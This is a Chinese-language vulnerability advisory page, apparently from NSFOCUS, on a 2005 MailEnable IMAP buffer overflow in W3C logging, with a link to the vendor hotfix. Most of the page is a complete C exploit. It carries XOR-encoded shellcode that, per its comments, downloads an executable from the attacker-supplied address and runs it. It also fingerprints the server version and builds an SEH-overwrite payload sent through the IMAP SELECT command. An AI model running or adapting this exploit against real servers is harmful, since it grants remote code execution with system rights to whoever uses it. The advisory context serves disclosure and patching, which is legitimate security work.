首页 -> 安全研究

安全研究

安全漏洞
MailEnable IMAP超长邮箱名W3C日志记录溢出漏洞

发布日期:2005-10-09
更新日期:2005-10-09

受影响系统:
MailEnable MailEnable Professional <= 1.6
MailEnable MailEnable Enterprise Edition <= 1.1
描述:
BUGTRAQ  ID: 15006

MailEnable是一款商业性质的POP3和SMTP服务器。

MailEnable在处理超长的邮箱名记录操作里存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

远程攻击者通过Select命令提交超长的邮箱名,MailEnable在记录W3C日志时会触发这个漏洞,允许攻击者以系统权限执行任意代码。

<*来源:MailEnable (advisory@wirecom.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112872897302100&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

long gimmeip(char *hostname);
void makeSpaceTaker(char *buff, int len);
char buffer[7300];
//Simple XOR'd 2-stage shellcode
//Some parts of this shellcode were taken from vlad902's toolset.
//Saves omg.exe to disk and runs.
char patchshell[]=
"\xEB\x17\x31\xC0\x66\xB8\x02\x05\x8B\x34"
"\x24\x66\x81\x36\x1E\x17\x83\xC6\x02\x83"
"\xE8\x02\x75\xF3\xC3\xE8\xE4\xFF\xFF\xFF"
"\xE2\xFF\xFB\x17\x1E\x17\x48\x9C\x5B\x2B"
"\x95\x6B\x1B\x6F\x1F\xF8\x95\x58\x06\x9C"
"\x41\x37\x1F\xFC\xFD\x39\x57\x9C\x2A\x9C"
"\x1F\xF9\x2F\xD7\x87\xBB\x9A\xD7\x6A\x10"
"\xDF\xDD\x13\x16\xDC\xFC\xEA\x2C\x4A\x33"
"\x16\x62\xFD\x9C\x41\x33\x1F\xFC\x78\x9C"
"\x12\x5C\x95\x48\x02\x16\xF5\x9C\x02\x9C"
"\x1F\xFC\x40\xD4\x76\x61\x73\xA7\x5B\xE8"
"\xC8\x43\x41\x41\x76\x17\x1F\x17\x1E\x40"
"\x76\x17\x1E\x17\x1E\xE8\xCD\x49\x1F\xF7"
"\x56\x97\x26\x4B\x6B\xED\xD8\x17\x1E\x7F"
"\x51\x14\xD9\xA8\xE1\xC1\x44\x43\xE1\xC4"
"\x76\xB2\x09\x17\x62\xE8\xC8\x7F\x7B\x6F"
"\x7B\x17\x76\x78\x73\x70\x30\x9E\xFF\x41"
"\x74\x17\x74\x17\x74\x13\x74\x17\x74\x17"
"\x74\x15\x4F\xE8\xCD\x49\x4E\x7F\x01\x6E"
"\x14\xFF\xE1\xC1\x46\x4F\x48\x47\x74\x17"
"\xF5\x4B\x44\x45\x76\xE7\x1D\x17\x1E\x96"
"\xDC\x13\x1E\x17\x1E\x45\x4E\xE8\xCD\x7F"
"\xE5\x80\xE3\x18\xE1\xC1\x46\x4F\x48\x47"
"\xE1\xC4\x40\x7F\x60\xCF\xFC\x64\xE1\xC1"
"\x97\x0B\x3A\x7F\x86\xE9\x94\x19\xE1\xC1"
"\x47\x9E\xFF\x96\xDF\x1F\x1E\x17\x1E\x7D"
"\x1E\x46\xE1\xC4\xDD\x26\xE8\x73\x95\x61"
"\x06\xBA\xB3\x9C\x76\xF3\x53\x71\x2F\xFA"
"\x78\x96\x63\x17\x53\x4D\x6B\xE3\x40\xFE"
"\x5C\xE8\xE1\xE8\xF6\x88\xE1\xE8\xE1\x56"
"\x5C\x54\x5A\x5A\x44\x87\x1E\x14\x1E\x17"
"\x1E\x13\x1E\x17\x1E\xE8\xE1\x17\x1E\xAF"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x57\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x97\x1E\x17\x1E\x19\x01\xAD"
"\x10\x17\xAA\x1E\xD3\x36\xA6\x16\x52\xDA"
"\x3F\x43\x76\x7E\x6D\x37\x6E\x65\x71\x70"
"\x6C\x76\x73\x37\x7D\x76\x70\x79\x71\x63"
"\x3E\x75\x7B\x37\x6C\x62\x70\x37\x77\x79"
"\x3E\x53\x51\x44\x3E\x7A\x71\x73\x7B\x39"
"\x13\x1A\x14\x33\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x47\x5B\x17\x1E\x5B\x1F\x16\x1E\xCF"
"\x35\x2D\x5D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xF7\x1E\x18\x1F\x1C\x1F\x15\x2C\x47"
"\x1C\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x57\x1C\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x57\x1E\x07\x1E\x17"
"\x1E\x07\x1E\x17\x1E\x13\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x13\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xE7\x1D\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x14\x1E\x17\x1E\x17\x1E\x07"
"\x1E\x17\x0E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x0E\x17\x1E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x0F"
"\x1D\x17\x1E\x3F\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x77\x1D\x17"
"\x1E\x37\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x39"
"\x6A\x72\x66\x63\x1E\x17\x1E\x5F\x1C\x17"
"\x1E\xB7\x1F\x17\x1E\x47\x1C\x17\x1E\xB7"
"\x1F\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x37\x1E\x17\xFE\x7F"
"\x6A\x63\x6E\x2D\x31\x38\x69\x60\x69\x39"
"\x73\x76\x77\x7B\x7B\x79\x7F\x75\x72\x72"
"\x30\x74\x71\x7A\x31\x7F\x71\x63\x78\x7E"
"\x66\x38\x53\x52\x57\x5A\x5F\x47\x4D\x3A"
"\x4B\x47\x5A\x27\x2B\x26\x2E\x27\x2D\x27"
"\x2E\x27\x2E\x39\x64\x7E\x6E\x17\x78\x63"
"\x6E\x2D\x31\x38\x78\x63\x6E\x39\x6A\x7F"
"\x33\x64\x71\x71\x6A\x39\x7D\x78\x73\x38"
"\x4B\x59\x44\x5E\x4E\x39\x5B\x4F\x5B\x17"
"\x4B\x45\x52\x53\x71\x60\x70\x7B\x71\x76"
"\x7A\x43\x71\x51\x77\x7B\x7B\x56\x1E\x48"
"\x53\x52\x57\x5A\x5F\x47\x4D\x39\x5B\x4F"
"\x5B\x17\x70\x72\x6A\x37\x6D\x63\x7F\x65"
"\x6A\x37\x53\x52\x57\x5A\x5F\x47\x4D\x17"
"\x4B\x65\x72\x7A\x71\x79\x30\x73\x72\x7B"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x7F"
"\x0E\x30\x1E\x17\xF6\xB5\x1E\x17\x1E\x7F"
"\x33\x15\x5E\x17\xF6\x89\x1E\x17\x1E\xB4"
"\x26\x15\x5E\x17\x76\xEC\x1F\x57\x1E\xE8"
"\x2B\x2F\x1C\x57\x1E\xFF\x91\x17\x1E\x17"
"\xBD\x2B\x1C\x57\x1E\x7D\x1E\x7D\x1E\x7F"
"\xEF\x16\x5E\x17\x76\xCC\x1F\x57\x1E\x7D"
"\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7D\x1E\x7D"
"\x1E\x7F\xCF\x16\x5E\x17\x76\xB7\x1F\x57"
"\x1E\x7D\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7F"
"\x10\x15\x5E\x17\x76\x18\x1C\x57\x1E\xFF"
"\x4B\x17\x1E\x17\x76\xE6\x1F\x57\x1E\x7F"
"\xDA\x16\x5E\x17\xF6\x5B\x1E\x17\x1E\xD0"
"\x1B\xDA\x1F\x57\x1E\x37\x33\x78\x3E\x7D"
"\x1E\x7F\xDA\x16\x5E\x17\xF6\x2B\x1E\x17"
"\x1E\x7F\x0E\x30\x1E\x17\xF6\x03\x1E\x17"
"\x1E\x7D\x1E\x7F\x05\x15\x5E\x17\xF6\x31"
"\x1E\x17\x1E\x7D\x1E\xFF\x3B\x17\x1E\x17"
"\xD2\xE8\x3B\x77\x1D\x57\x1E\xE8\x3B\x73"
"\x1D\x57\x1E\xE8\x3B\x7F\x1D\x57\x1E\xE8"
"\x3B\x7B\x1D\x57\x1E\xE8\x3B\x67\x1D\x57"
"\x1E\xE8\x3B\x63\x1D\x57\x1E\xE8\x3B\x6F"
"\x1D\x57\x1E\xDB\xD2\x57\x1D\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\xCD\x1D\x17"
"\x1E\x77\x1D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x97\x1D\x17\x1E\x9F"
"\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD\x1D\x17"
"\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17\x1E\xDB"
"\x1D\x17\x1E\x17\x1E\x17\x1E\x97\x1D\x17"
"\x1E\x9F\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD"
"\x1D\x17\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17"
"\x1E\xDB\x1D\x17\x1E\x17\x1E\x17\x1E\x64"
"\x1C\x44\x72\x72\x7B\x67\x1E\xBE\x1F\x5B"
"\x71\x76\x7A\x5B\x77\x75\x6C\x76\x6C\x6E"
"\x5F\x17\x1E\x3E\x1F\x50\x7B\x63\x4E\x65"
"\x71\x74\x5F\x73\x7A\x65\x7B\x64\x6D\x17"
"\x1E\xD3\x1F\x5A\x71\x61\x7B\x51\x77\x7B"
"\x7B\x56\x1E\xCB\x1C\x7B\x6D\x63\x6C\x74"
"\x6E\x6E\x5F\x17\x1E\xBA\x1C\x40\x77\x79"
"\x5B\x6F\x7B\x74\x1E\x62\x1E\x52\x66\x7E"
"\x6A\x47\x6C\x78\x7D\x72\x6D\x64\x1E\x5C"
"\x5B\x45\x50\x52\x52\x24\x2C\x39\x7A\x7B"
"\x72\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E";

int main(int argc,char *argv[])
{    
        WSADATA wsaData;
        struct sockaddr_in targetTCP, checkTCP;
        int sockTCP;
        double version=0; //1.6 is latest, diff offset
        unsigned short port = 143,bport=80;
        long ip;
        int size=3556;
        char checkBuf[512];
        if(argc < 3)
        {
            printf("MailEnable Remote Stack Overflow.\n"
                "Usage: %s [YOUR-Address] [Target-address] <server_port>\n"
                " eg: mailenable.exe 65.21.86.48 216.256.0.1\n"
                "It Is IMPORTANT that YOUR-Address section is the Address the remote server is \
going to see (your public IP).\n"  "If you are unsure of what your public IP is you \
can try www.whatismyip.com.\n",argv[0]);  return 1;            
        }        
        if(argc==4)
            port = atoi(argv[3]);
        WSAStartup(0x0202, &wsaData);                
        printf("[*] Target:\t%s \tPort: %d\n",argv[2],port);
        ip=gimmeip(argv[2]);    
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);
        
        //check SMTP port version
        checkTCP.sin_family = AF_INET;
        checkTCP.sin_addr.s_addr = ip;
        checkTCP.sin_port = htons(25);
        printf("[*] Checking SMTP version..\n");
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
            printf("[x] Socket not initialized! Exiting...\n");
            WSACleanup();
               return 1;
        }
        if(connect(sockTCP,(struct sockaddr *)&checkTCP, sizeof(checkTCP)) != 0)
        {
            printf("[*] Couldn't connect to SMTP to check version, assuming 1.54...\n");
            version = 1.6;
        }
        else
        {
            if(recv(sockTCP,checkBuf,sizeof(checkBuf),0))
            {
                //first check if it's mailenable
                if(strstr(checkBuf,"MailEnable"))
                { //it is, get version
                    if(strstr(checkBuf,"1.54"))
                    {
                        printf("[*] Version 1.54 detected..\n");
                        version = 1.54;
                    }
                    if(strstr(checkBuf,"1.6"))
                    {
                        printf("[*] Version 1.6 detected..\n");
                        version = 1.6;
                    }
                    if(strstr(checkBuf,"1.04") ||strstr(checkBuf,"1.52")||strstr(checkBuf,"1.53") || \
strstr(checkBuf,"1.51"))  {
                            printf("[*] Version <1.54 detected..\n");
                            version = 1.04;
                    }
                    if(version==0)
                    {
                        printf("[*] Version could not be determined. assuming 1.6\n");
                        version=1.6;
                    }
                }
                else
                {
                    printf("[*] Erroneous banner recieved, assuming Version 1.6..\n");
                    version = 1.6;
                }
            }
            else
            {
                printf("[*] Couldn't connect to SMTP to check version, assuming 1.6...\n");
                version = 1.6;
            }
        }
        //form buffer here
        memset(buffer,'\0',7300);
        strcpy(buffer,"a01 SELECT ");
        size += (30-(strlen(argv[1])*2)); //IP length sizing
        size += sizeof(patchshell)-1;
        //fill buffer
        makeSpaceTaker(buffer,size);
        strcat(buffer,patchshell);
        strcat(buffer,"\xeb\x06\xeb\x06"); //SE chain.. JMP over
        if(version == 1.54)
        {
            strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop retn
            strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
            strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop retn
        }
        if(version == 1.6)
        {
            strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop retn
            strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
            strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop retn
        }
        if(version == 1.04)
        {
            strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop retn
            strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more jumping
            strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop retn
        }
        strcat(buffer,"\x90\x90\x90\xE8\xC7\xFA\xFF\xFF"); //call backwards
        makeSpaceTaker(buffer+strlen(buffer),640);
        strcat(buffer,"\r\n");
        //connect and overflow        
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                printf("[x] Socket not initialized! Exiting...\n");
                WSACleanup();
                return 1;
        }
        printf("[*] Socket initialized...\n");                    
        if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
        {
            printf("[*] Connection to host failed! Exiting...\n");
            WSACleanup();
            exit(1);
        }
        printf("[*] Sending  buffer.\n");
        if(send(sockTCP,"a01 LOGIN patching mailserv\r\n",29,0) == -1)
        {
                printf("[x] Failed to inject packet! Exiting...\n");
                WSACleanup();
                return 1;
        }        
        Sleep(1000);
        if (send(sockTCP, buffer, strlen(buffer),0) == -1)
        {
                printf("[x] Failed to inject packet! Exiting...\n");
                WSACleanup();
                return 1;
        }        
        Sleep(500);
        closesocket(sockTCP);
        printf("[*] Payload sent. If vulnerable, the box should now be patched.\n");
        WSACleanup();
        return 0;
}

//Simple ip/hostname resolver taken from some random website
long gimmeip(char *hostname)
{
    struct hostent *he;
    long ipaddr;
    
    if ((ipaddr = inet_addr(hostname)) < 0)
    {
        if ((he = gethostbyname(hostname)) == NULL)
        {
            printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
            WSACleanup();
            exit(1);
        }
        memcpy(&ipaddr, he->h_addr, he->h_length);
    }    
    return ipaddr;
}
//More interesting then memset :)
void makeSpaceTaker(char *buffer,int len)
{
    char fake[]="Patching_MailEnable_W3C_Logging_Buffer_Overflow_Vulnerability_";
    int cnt=0; //cnt amt written
    while(cnt <= len)
    {
        strcat(buffer,fake); //I know, but it's a big buffer
        cnt += strlen(fake);
    }
    memset(buffer+len+1,'\0',strlen(fake)); //null end and correct size
    
}

建议:
厂商补丁:

MailEnable
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* MailEnable Hotfix MEIMAPS-UPD0508221400.zip
http://www.mailenable.com/hotfix/MEIMAPS-UPD0508221400.zip

浏览次数:3906
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障